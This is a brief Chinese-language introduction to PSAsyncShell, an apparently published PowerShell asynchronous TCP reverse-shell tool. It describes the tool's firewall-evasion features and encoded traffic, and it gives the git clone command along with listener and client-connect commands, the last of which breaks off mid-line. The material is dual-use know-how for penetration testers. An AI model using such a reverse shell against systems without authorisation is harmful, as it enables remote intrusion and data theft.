关于PSAsyncShell
PSAsyncShell是一款功能强大的PowerShell异步TCP反向Shell,该工具基于纯PowerShell开发,适用于安装并配置了PowerShell环境的设备使用。和其他反向Shell工具不同的是,该工具所实现的所有通信和执行流都是异步完成的,并实现了一些针对防火墙绕过和远程连接处理对策。
除此之外,该工具还提供了命令历史记录、屏幕清理、文件上传和下载、信息分块和反向Base64 URL编码流量等功能。
工具要求
PowerShell v4.0或更高版本
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/JoelGMSec/PSAsyncShell.git
工具使用
正如我们在上图中看到的,该工具的使用非常简单,我们只需要让服务器部分监听并使用相应的目标 IP 和端口,然后与目标设备建立连接即可。
命令解释
监听来自客户端新传入的链接:
.\PSAsyncShell.ps1 -s -p listen_port
将客户端链接到一台PSAsyncShell服务器:
.\PSAsyncShell.ps1 -c server_ip s